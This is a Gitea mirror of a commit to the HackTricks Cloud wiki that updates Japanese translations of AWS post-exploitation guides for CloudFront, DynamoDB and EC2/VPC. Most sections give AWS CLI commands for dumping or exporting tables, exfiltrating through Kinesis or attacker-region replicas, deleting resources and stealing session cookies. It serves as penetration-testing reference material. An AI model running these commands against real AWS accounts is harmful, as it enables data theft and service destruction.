gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-04 16:57:26 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-10-23 15:00:36 +00:00
parent 89019a3a65
commit f1d7e0a79b
12 changed files with 865 additions and 367 deletions
Download Patch File Download Diff File Expand all files Collapse all files

29
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
View File

@@ -4,28 +4,37 @@
## CloudFront
詳細は以下を参照してください:
詳細については次を参照してください:
{{#ref}}
../../aws-services/aws-cloudfront-enum.md
{{#endref}}
### `cloudfront:Delete*`
cloudfront:Delete* が付与された攻撃者は distributions、policies およびその他の重要な CDN 設定オブジェクト（例えば distributions、cache/origin policies、key groups、origin access identities、functions/configs、および関連リソース）を削除できます。これによりサービス停止、コンテンツの損失、設定やフォレンジックの証跡の消失が発生する可能性があります。
distribution を削除するために、攻撃者は次のような方法を使用できます:
```bash
aws cloudfront delete-distribution \
--id <DISTRIBUTION_ID> \
--if-match <ETAG>
```
### Man-in-the-Middle
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) は、**Lambda** が **CloudFront** を通した通信に追加（すでに使用されている場合は修正）され、セッションの **cookie** のようなユーザ情報を**stealing**し、**response** を**modifying**（悪意のある JS スクリプトを注入）する目的で使われるいくつかのシナリオを示しています。
この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda** を（既に使用されている場合は変更して）**communication through CloudFront** に組み込み、ユーザ情報（例えばセッションの **cookie**）を**盗む**ことや、**response** を**改変**して（悪意ある JS スクリプトを注入するなど）情報を奪うことを目的としたいくつかのシナリオが提案されています。
#### scenario 1: CloudFront が bucket の HTML にアクセスするよう設定されている場合の MitM
#### シナリオ 1: CloudFront が bucket の HTML にアクセスするように設定されている MitM
- 悪意のある **function** を **作成** する。
- それを CloudFront distribution に **関連付け** する。
- **イベントタイプを "Viewer Response" に設定する。**
- **Create** 悪意のある **function** を作成する。
- **Associate** それを CloudFront distribution に関連付ける。
- **Set the event type to "Viewer Response"**。
レスポンスにアクセスすることで、ユーザの cookie を盗み、悪意のある JS を注入できます。
**response** にアクセスすることで、ユーザの **cookie** を盗み、悪意ある JS を注入できます。
#### scenario 2: CloudFront がすでに lambda function を使用している場合の MitM
#### シナリオ 2: CloudFront が既に Lambda function を使用している MitM
- lambda function の **code を変更** して機密情報を盗む。
- **Modify the code** of the Lambda function によりコードを変更して機密情報を盗む。
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
これらのシナリオを再現する[**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)は、こちらで確認できます。
{{#include ../../../../banners/hacktricks-training.md}}

158
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
View File

@@ -4,7 +4,7 @@
## DynamoDB
詳細は以下を参照してください:
詳細は次を参照してください:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@
### `dynamodb:BatchGetItem`
この権限を持つ攻撃者は、**主キーでテーブルからアイテムを取得する**ことができます（テーブルの全データを一度に要求することはできません）。つまり、主キーを知っている必要があります（テーブルのメタデータを取得することで確認できます（`describe-table`））。
この権限を持つ攻撃者は、**プライマリキーでテーブルからアイテムを取得することができます**（テーブルの全データを一度に取得することはできません）。つまり、プライマリキーを把握している必要があります（テーブルのメタデータを取得して確認できます（`describe-table`））。
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性
### `dynamodb:GetItem`
**前の権限と同様に** この権限は、潜在的な攻撃者が取得するエントリの主キーを指定した場合に、1つのテーブルから値を読み取ることを許可します:
**前の権限と同様に** この権限は、潜在的な攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを許可する:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な privesc
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc
### `dynamodb:Query`
**前の権限と同様に** この権限は、取得対象エントリの主キーが分かれば攻撃者に対して1つのテーブルから値を読み取ることを許可します。比較の[サブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用できますが、主キー（必ず指定する必要がある）に対して許可されている比較は "EQ" のみであり、比較を使ってリクエストでデータベース全体を取得することはできません。
**前の権限と同様に** この権限は、攻撃者が取得したいエントリのプライマリキーを指定することで、単一のテーブルから値を読み取ることを可能にします。 It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,15 +107,15 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性
**Potential Impact:** テーブル内の機密情報を特定することで間接的にprivescが可能になる
### `dynamodb:Scan`
この権限を使用して、**dump the entire table easily**。
この権限を使用すると、**簡単にテーブル全体を dump できる**.
```bash
aws dynamodb scan --table-name <t_name> #Get data inside the table
```
**想定される影響:** テーブル内の機密情報を特定することで間接的な privesc
**Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc
### `dynamodb:PartiQLSelect`
@@ -124,18 +124,18 @@ aws dynamodb scan --table-name <t_name> #Get data inside the table
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
この権限は `batch-execute-statement` の実行も許可します。例えば:
この権限により、`batch-execute-statement` の実行も可能になります。例えば:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
ただし、主キーに値を指定する必要があるため、それほど有用ではない。
ただし、主キーに値を指定する必要があるため、それほど有用ではありません。
**潜在的影響:** テーブル内の機密情報を特定することで間接的な privesc を引き起こす可能性がある
**潜在的影響:** テーブル内の機密情報を特定することで、間接的な privesc を引き起こす可能性があります
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
この権限により、attacker は選択した S3 バケットに**テーブル全体をエクスポートできる**：
この権限があれば、攻撃者は選択した S3 バケットにテーブル全体を**エクスポート**できます:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
これが機能するには、テーブルで point-in-time-recovery が有効になっている必要があることに注意してください。テーブルに有効かどうかは次のコマンドで確認できます:
これが機能するには、テーブルで point-in-time-recovery を有効にしておく必要がある点に注意してください。テーブルに設定されているかは次のコマンドで確認できます：
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
有効になっていない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です:
有効になっていない場合は、**有効化する必要があります**。そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Potential Impact:** テーブル内の機密情報を特定することによる間接的なprivesc
**Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc が発生する可能性
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that **もはや本番テーブルには存在しない**.
With these permissions, an attacker would be able to **バックアップから新しいテーブルを作成する** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **情報** from the backups that could not be any more in the production table.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Potential Impact:** テーブルのバックアップ内の機密情報を特定することによる間接的な privesc
**潜在的な影響:** テーブルのバックアップ内の機密情報を特定することによる間接的なprivesc
### `dynamodb:PutItem`
この権限は、ユーザーがテーブルに**新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことを許可します。同じ主キーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。主キーが存在しない場合、指定された主キーを持つ新しいアイテムが**作成されます**。
この権限は、ユーザーがテーブルに**新しい項目を追加するか既存の項目を新しい項目で置き換える**ことを許可します。 同じプライマリキーを持つ項目がすでに存在する場合、**項目全体が新しい項目で置き換えられます**。 プライマリキーが存在しない場合、指定したプライマリキーを持つ新しい項目が**作成されます**。
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -203,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Potential Impact:** DynamoDBテーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性があります
**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の Exploitation が可能になる
### `dynamodb:UpdateItem`
この権限はユーザーにアイテムの既存の属性を**変更したり新しい属性を追加したりする**ことを許可します。アイテム全体を**置換するものではなく**、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで**新しいアイテムを作成**し、更新式で指定された属性を設定します。
この権限によりユーザーは **アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したり** できます。これはアイテム全体を **置き換える** ものではなく、指定した属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで **新しいアイテムを作成し**、更新式で指定した属性を設定します。
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -243,43 +242,43 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる vulnerabilities/bypasses の悪用につながる可能性がある
**想定される影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスの悪用につながる可能性がある
### `dynamodb:DeleteTable`
この権限を持つ攻撃者は、**DynamoDB テーブルを削除してデータ損失を引き起こすことができます**。
この権限を持つ攻撃者は **DynamoDB テーブルを削除してデータ損失を引き起こすことができる**。
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**潜在的な影響**: データの喪失および削除されたテーブルに依存するサービスの中断。
**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失と中断。
### `dynamodb:DeleteBackup`
この権限を持つ攻撃者は、**DynamoDB のバックアップを削除でき、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。
この権限を持つ攻撃者は、**DynamoDBのバックアップを削除し、災害復旧のシナリオでデータ損失を引き起こす可能性があります**。
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Potential impact**: データの損失および障害復旧時にバックアップから復旧できない可能性。
**Potential impact**: データの損失および災害復旧シナリオでバックアップから復元できなくなる可能性。
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: 実際に動作するかテストする
これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視および exfiltrate し、最終的に data leakage を引き起こす可能性があります。
これらの権限を持つ攻撃者は、**DynamoDB テーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、そのストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視・exfiltrate し、最終的に data leakage を引き起こす可能性があります。
1. DynamoDBテーブルでストリームを有効にする:
1. DynamoDB テーブルでストリームを有効化する:
```bash
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. ストリームを説明して、ARNやその他の詳細を取得する:
2. ストリームを説明して、ARN やその他の詳細を取得する:
```bash
aws dynamodb describe-stream \
--table-name TargetTable \
@@ -293,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. shard iterator を使用して stream からデータにアクセスし、exfiltrate する:
4. shard iterator を使用してストリームからデータにアクセスし、exfiltrate する:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**潜在的な影響**: DynamoDB テーブルの変更をリアルタイムで監視でき、データの漏洩が発生する可能性があります。
**Potential impact**: DynamoDB テーブルの変更のリアルタイム監視とデータ漏洩。
### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` を使ってアイテムを読み取る
### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` でアイテムを読み取る
テーブルに対して `dynamodb:UpdateItem` の権限のみを持つ攻撃者は、通常の読み取り権限（`GetItem`/`Query`/`Scan`）がなくても、無害な更新を行い `--return-values ALL_OLD` を要求することでアイテムを読み取れます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテムの完全なイメージを返します（これは RCU を消費しません）。
テーブルに対して `dynamodb:UpdateItem` のみが許可されている攻撃者は、無害な更新を行い `--return-values ALL_OLD` を指定することで、通常の読み取り権限（`GetItem`/`Query`/`Scan`）なしにアイテムを読み取れます。DynamoDB は応答の `Attributes` フィールドに更新前のアイテムの完全なイメージを返します（これは RCU を消費しません）。
- 必要最小限の権限: 対象テーブル/キーに対する `dynamodb:UpdateItem`
- 前提条件: アイテムのプライマリキーを把握していること
- 最小権限: `dynamodb:UpdateItem` on the target table/key.
- 前提条件: アイテムのプライマリキーを知っていること。
例（無害な属性を追加し、レスポンスで更新前のアイテムを持ち出す）:
例（無害な属性を追加し、応答内の更新前のアイテムを外部に持ち出す）:
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
@@ -319,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region <region>
```
CLI のレスポンスには、完全な previous item（すべての属性）を含む `Attributes` ブロックが含まれ、書き込み専用アクセスから事実上の read primitive を提供します。
CLI のレスポンスには、完全な以前のアイテム（すべての属性）を含む `Attributes` ブロックが含まれ、実質的に write-only アクセスから read primitive を提供します。
**Potential Impact:** 主キーが既知の場合、書き込み権限のみでテーブルから任意の項目を読み取り、機密データの exfiltration を可能にします。
**潜在的影響:** primary keys が既知の場合、write permissions のみでテーブルの任意のアイテムを読み取り可能になり、機密データの exfiltration を可能にします。
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
DynamoDB Global Table (version 2019.11.21) に新しい replica Region を追加することでの Stealth exfiltration。もし principal が regional replica を追加できる場合、テーブル全体が attacker-chosen Region にレプリケートされ、そこから attacker はすべてのアイテムを読み取れます。
新しいレプリカ Region を DynamoDB Global Table (version 2019.11.21) に追加することで行う Stealth exfiltration。principal がリージョナルレプリカを追加できる場合、テーブル全体が攻撃者の選んだ Region にレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -355,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
権限: `dynamodb:UpdateTable` (with `replica-updates`) または `dynamodb:CreateTableReplica` を対象テーブルに対して持っている必要があります。レプリカで CMK が使用されている場合、そのキーに対する KMS 権限が必要になることがあります。
権限: `dynamodb:UpdateTable`（`replica-updates`付き）またはターゲットテーブル上の `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS の権限が必要になることがある。
想定される影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、検知されにくいデータ流出が発生する可能性があります。
潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ流出につながる。
### `dynamodb:TransactWriteItems` (失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
### `dynamodb:TransactWriteItems`（失敗した条件による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`）
トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの完全な属性を持ち出すことができます。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、特定キーに対する書き込み専用のアクセスを事実上読み取りアクセスに変換します。
トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を実行し、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を抽出できる。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスを対象キーの読み取りアクセスに事実上変換してしまう。
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -410,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
権限: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 読み取り権限は不要です。
権限: `dynamodb:TransactWriteItems` on the target table (および基になるアイテム)。読み取り権限は不要です。
潜在的影響: 返却されるキャンセル理由を利用して、トランザクション書き込み権限のみでテーブルから（主キー指定で）任意のアイテムを読み取ることが可能です。
潜在的影響: トランザクション書き込み権限のみを使用し、返されるキャンセル理由を介してテーブルから（主キーによって）任意のアイテムを読み取ることができます。
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
低エントロピー属性に `ProjectionType=ALL` の Global Secondary Index (GSI) を作成し、その属性をアイテム間で一定の値に設定してからインデックスを `Query` して完全なアイテムを取得することで、読み取り制限を回避します。ベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできればこの手法は機能します。
低エントロピー属性に対して Global Secondary Index (GSI) を `ProjectionType=ALL` で作成し、その属性をアイテム間で一定値に設定してからインデックスを `Query` することで、完全なアイテムを取得し、読み取り制限を回避できます。これは、ベーステーブルでの `Query`/`Scan` が拒否されている場合でも、インデックスの ARN に対してクエリできる限り機能します。
- 最低限の権限:
- `dynamodb:UpdateTable` on the target table (`ProjectionType=ALL` の GSI を作成するため)。
- `dynamodb:UpdateItem` on the target table keys（各アイテムのインデックス対象属性を設定するため）。
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
- 最小権限:
- `dynamodb:UpdateTable` on the target table (GSI を `ProjectionType=ALL` で作成するため)。
- `dynamodb:UpdateItem` on the target table keys (各アイテムにインデックス化された属性を設定するため)。
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`)。
手順（PoC: us-east-1）：
手順 (PoC in us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
@@ -462,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Potential Impact:** 新しく作成した GSI をクエリして全ての属性を投影することで、ベーステーブルの読み取り APIs が拒否されている場合でもテーブル全体の exfiltration が発生する可能性があります。
**潜在的影響:** 新しく作成した GSI が全ての属性をプロジェクションする場合、base table の read APIs が拒否されていても、クエリによりテーブル全体を exfiltrate される可能性があります。
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams を使った継続的な exfiltration)
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が制御する Kinesis Data Stream に継続的に exfiltrate します。有効化されると、INSERT/MODIFY/REMOVE の各イベントがほぼリアルタイムでストリームに転送され、テーブルの読み取り権限は不要になります。
DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。 有効化されると、各 INSERT/MODIFY/REMOVE イベントがほぼリアルタイムでストリームに転送され、テーブルの read 権限は不要です。
最小限の権限（攻撃者）:
- 対象テーブルに対する `dynamodb:EnableKinesisStreamingDestination`
- 任意でステータス監視のための `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
- レコードを消費するため、攻撃者が所有する Kinesis ストリームへの読み取り権限：`kinesis:*`
最小権限（攻撃者）:
- ターゲットテーブルに対する `dynamodb:EnableKinesisStreamingDestination`
- オプションでステータス監視用の `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
- レコードを消費するために攻撃者所有の Kinesis ストリームに対する読み取り権限: `kinesis:*`
<details>
<summary>PoC (us-east-1)</summary>
@@ -529,10 +528,45 @@ aws dynamodb disable-kinesis-streaming-destination \
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
### `dynamodb:UpdateTimeToLive`
dynamodb:UpdateTimeToLive の権限を持つ攻撃者は、テーブルの TTL（time-to-live）設定を変更し、TTL を有効化または無効化できます。TTL が有効な場合、設定された TTL 属性を含む個々のアイテムは、有効期限に達すると自動的に削除されます。TTL 値は各アイテム上の単なる属性にすぎません。その属性を持たないアイテムは TTL による削除の影響を受けません。
アイテムがまだ TTL 属性を含んでいない場合、攻撃者は TTL 属性を追加して大量削除を引き起こすために、アイテムを更新する権限（例えば dynamodb:UpdateItem）も必要になります。
まずテーブルで TTL を有効にし、有効期限に使用する属性名を指定します：
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
```
次に、アイテムを更新して TTL 属性 (epoch seconds) を追加し、期限切れになって削除されるようにします：
```bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
```
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
dynamodb:RestoreTableFromAwsBackup または dynamodb:RestoreTableToPointInTime の権限を持つ攻撃者は、元のテーブルを上書きすることなく、バックアップや point-in-time recovery (PITR) から復元した新しいテーブルを作成できます。復元されたテーブルには選択した時点のデータの完全なイメージが含まれるため、攻撃者はそれを使って過去の情報を exfiltrate したり、データベースの過去の状態の完全な dump を取得したりできます。
オンデマンドバックアップからDynamoDBテーブルを復元する:
```bash
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
```
DynamoDB テーブルをポイントインタイムで復元する（復元された状態で新しいテーブルを作成する）:
```bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
````
</details>
**潜在的影響:** テーブルに対する直接の読み取り操作を行わずに、攻撃者が管理する Kinesis ストリームへテーブルの変更を継続的かつほぼリアルタイムで流出させる。
**Potential Impact:** テーブルの変更が攻撃者が制御する Kinesis ストリームへ、テーブルへの直接の読み取り操作を行うことなく、継続的かつほぼリアルタイムで exfiltration される。
{{#include ../../../../banners/hacktricks-training.md}}

142
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
View File

@@ -4,7 +4,7 @@
## EC2 & VPC
For more information check:
詳細は次を確認してください:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,17 @@ For more information check:
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring は、インスタンス自体に何もインストールする必要なく、**VPC 内の EC2 インスタンスの着信および発信トラフィックを複製します**。
複製されたトラフィックは通常、分析や監視のために network intrusion detection system (IDS) のようなものに送られます。
攻撃者はこれを悪用して全てのトラフィックをキャプチャし、そこから機密情報を取得する可能性があります:
VPC トラフィックミラーリングは、インスタンス自体に何もインストールする必要なく、VPC 内の EC2 インスタンスのインバウンドおよびアウトバウンドのトラフィックを複製します。複製されたトラフィックは通常、解析や監視のために IDS のようなネットワーク侵入検知システムに送られます。攻撃者はこれを悪用してすべてのトラフィックをキャプチャし、機密情報を取得することができます:
For more information check this page:
詳細はこのページを確認してください:
{{#ref}}
aws-malicious-vpc-mirror.md
{{#endref}}
### Copy Running Instance
### 実行中インスタンスのコピー
インスタンスには通常何らかの機密情報が含まれています。内部に入る方法はいくつかあります（詳細は [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) を参照）。しかし、含まれているものを確認する別の方法として、**AMI を作成してそこから新しいインスタンスを起動する（自分のアカウント内でも可）**：
インスタンスには通常、何らかの機密情報が含まれています。中に入る方法はいくつかあります（check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)）。しかし、その内容を確認する別の方法は、**AMI を作成してそこから新しいインスタンス（自分のアカウントでも可）を起動すること**です:
```shell
# List instances
aws ec2 describe-images
@@ -50,8 +48,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Snapshots are backups of volumes** は通常 **機密情報** を含むため、確認することでこれらの情報が明らかになります。
もし **volume without a snapshot** を見つけたら、**Create a snapshot** を作成して以下の操作を行うか、またはアカウント内のインスタンスに**mount it in an instance**するだけでもよいです:
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -59,7 +57,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
EC2 AMI を `CreateStoreImageTask` を使って直接 S3 にエクスポートし、snapshot sharing を介さずに生のディスクイメージを取得します。これによりインスタンスのネットワーク設定を変更せずに、オフラインでの完全なフォレンジックやデータ窃取が可能になります。
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -67,7 +65,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
io1/io2 の Multi-Attach ボリュームを別のインスタンスにアタッチし、読み取り専用でマウントしてスナップショットを取らずにライブデータを吸い上げます。被害者のボリュームが同じ AZ 内で既に Multi-Attach が有効になっている場合に有用です。
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -75,7 +73,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
EC2 Instance Connect Endpoint を作成し、ingress を許可して一時的な SSH キーを注入することで、managed tunnel 経由でプライベートインスタンスにアクセスできます。パブリックポートを開けずに迅速な横移動経路を確保します。
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -83,7 +81,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
被害者の ENI のセカンダリ private IP を攻撃者が制御する ENI に移動し、IP で allowlisted された信頼済みホストを偽装します。特定アドレスに紐づく内部 ACL や SG ルールを回避できます。
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -91,7 +89,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
被害者インスタンスから Elastic IP を攻撃者側に再関連付けすることで、着信トラフィックを傍受したり、信頼されたパブリック IP から来ているように見える発信接続を行えます。
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -99,7 +97,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
Security Group のルールが customer-managed prefix list を参照している場合、攻撃者の CIDR をそのリストに追加するだけで、SG 本体を変更せずに依存するすべての SG ルールへのアクセスが静かに拡大します。
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -107,15 +105,41 @@ aws-managed-prefix-list-backdoor.md
